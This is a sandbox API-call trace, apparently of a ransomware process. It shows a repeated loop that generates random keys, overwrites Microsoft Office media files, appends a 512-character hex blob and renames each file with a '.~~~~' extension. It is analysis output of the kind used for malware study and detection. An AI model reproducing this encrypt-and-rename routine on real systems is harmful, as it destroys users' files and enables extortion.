	[0123.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0123.646] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24363582566) returned 1
	[0123.646] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb32b56d0, dwHighDateTime=0x1d60e1e)) 
	[0123.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0123.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0123.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0123.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b8178
	[0123.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.646] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8178 | out: hHeap=0x300000) returned 1
	[0123.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2943620
	[0123.646] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee8d0
	[0123.646] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2943620 | out: hHeap=0x300000) returned 1
	[0123.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bca90
	[0123.646] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee8d0 | out: hHeap=0x300000) returned 1
	[0123.646] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0123.647] GetLastError () returned 0x0
	[0123.647] GetLastError () returned 0x0
	[0123.647] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0123.647] GetLastError () returned 0x0
	[0123.647] GetLastError () returned 0x0
	[0123.650] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.650] WriteFile (in: hFile=0x120, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0123.652] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0123.652] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.652] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.653] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.653] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.653] CloseHandle (hObject=0x120) returned 1
	[0123.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ee8d0
	[0123.654] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml.~~~~")) returned 1
	[0123.797] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee8d0 | out: hHeap=0x300000) returned 1
	[0123.797] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0123.797] GetLastError () returned 0x0
	[0123.798] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0123.810] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.810] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.810] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0123.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0123.810] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24380030688) returned 1
	[0123.810] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb34585f0, dwHighDateTime=0x1d60e1e)) 
	[0123.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0123.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0123.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0123.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281fd40
	[0123.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.811] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281fd40 | out: hHeap=0x300000) returned 1
	[0123.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.811] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee8d0
	[0123.811] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd540
	[0123.811] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee8d0 | out: hHeap=0x300000) returned 1
	[0123.811] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0123.811] GetLastError () returned 0x0
	[0123.812] GetLastError () returned 0x0
	[0123.812] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0123.812] GetLastError () returned 0x0
	[0123.812] GetLastError () returned 0x0
	[0123.816] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffe8e4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.816] WriteFile (in: hFile=0x120, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x171c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x171c, lpOverlapped=0x0) returned 1
	[0123.818] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0123.818] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.818] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.818] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.818] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.818] CloseHandle (hObject=0x120) returned 1
	[0123.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd540
	[0123.818] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0185604.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0185604.wmf.~~~~")) returned 1
	[0123.820] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bd540 | out: hHeap=0x300000) returned 1
	[0123.820] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0123.820] GetLastError () returned 0x0
	[0123.820] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0123.821] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.821] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.821] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0123.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0123.822] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24381169106) returned 1
	[0123.822] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb34585f0, dwHighDateTime=0x1d60e1e)) 
	[0123.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0123.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0123.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0123.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281fdb0
	[0123.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.822] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281fdb0 | out: hHeap=0x300000) returned 1
	[0123.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.822] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee8d0
	[0123.822] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd5d8
	[0123.822] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee8d0 | out: hHeap=0x300000) returned 1
	[0123.822] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0123.822] GetLastError () returned 0x0
	[0123.823] GetLastError () returned 0x0
	[0123.823] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0123.823] GetLastError () returned 0x0
	[0123.823] GetLastError () returned 0x0
	[0123.825] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffe4c6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.825] WriteFile (in: hFile=0x120, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1b3a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x1b3a, lpOverlapped=0x0) returned 1
	[0123.826] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0123.826] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.826] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.826] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.826] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.826] CloseHandle (hObject=0x120) returned 1
	[0123.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd5d8
	[0123.827] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186348.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186348.wmf.~~~~")) returned 1
	[0123.828] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bd5d8 | out: hHeap=0x300000) returned 1
	[0123.828] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0123.828] GetLastError () returned 0x0
	[0123.828] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0123.829] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.829] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.829] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.829] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0123.829] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0123.829] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24381939111) returned 1
	[0123.829] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb347e750, dwHighDateTime=0x1d60e1e)) 
	[0123.829] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0123.829] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0123.829] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0123.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281fde8
	[0123.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.830] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281fde8 | out: hHeap=0x300000) returned 1
	[0123.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.830] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee8d0
	[0123.830] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd708
	[0123.830] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee8d0 | out: hHeap=0x300000) returned 1
	[0123.830] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0123.830] GetLastError () returned 0x0
	[0123.830] GetLastError () returned 0x0
	[0123.830] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0123.830] GetLastError () returned 0x0
	[0123.831] GetLastError () returned 0x0
	[0123.833] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffb8ba, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.833] WriteFile (in: hFile=0x120, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x4746, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x4746, lpOverlapped=0x0) returned 1
	[0123.834] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0123.834] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.834] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.835] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.835] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.835] CloseHandle (hObject=0x120) returned 1
	[0123.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd708
	[0123.835] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0187423.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0187423.wmf.~~~~")) returned 1
	[0123.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bd708 | out: hHeap=0x300000) returned 1
	[0123.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0123.836] GetLastError () returned 0x0
	[0123.836] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0123.837] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.837] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.837] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0123.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0123.837] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24382761050) returned 1
	[0123.838] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb347e750, dwHighDateTime=0x1d60e1e)) 
	[0123.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0123.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0123.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0123.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281fe20
	[0123.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281fe20 | out: hHeap=0x300000) returned 1
	[0123.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee8d0
	[0123.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd7a0
	[0123.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee8d0 | out: hHeap=0x300000) returned 1
	[0123.838] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0123.838] GetLastError () returned 0x0
	[0123.838] GetLastError () returned 0x0
	[0123.839] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0123.839] GetLastError () returned 0x0
	[0123.839] GetLastError () returned 0x0
	[0123.854] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffce26, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.854] WriteFile (in: hFile=0x120, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x31da, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x31da, lpOverlapped=0x0) returned 1
	[0123.855] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0123.856] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.856] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.856] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.856] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.856] CloseHandle (hObject=0x120) returned 1
	[0123.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd708
	[0123.861] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195384.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195384.wmf.~~~~")) returned 1
	[0123.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bd708 | out: hHeap=0x300000) returned 1
	[0123.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0123.862] GetLastError () returned 0x0
	[0123.863] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0123.863] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
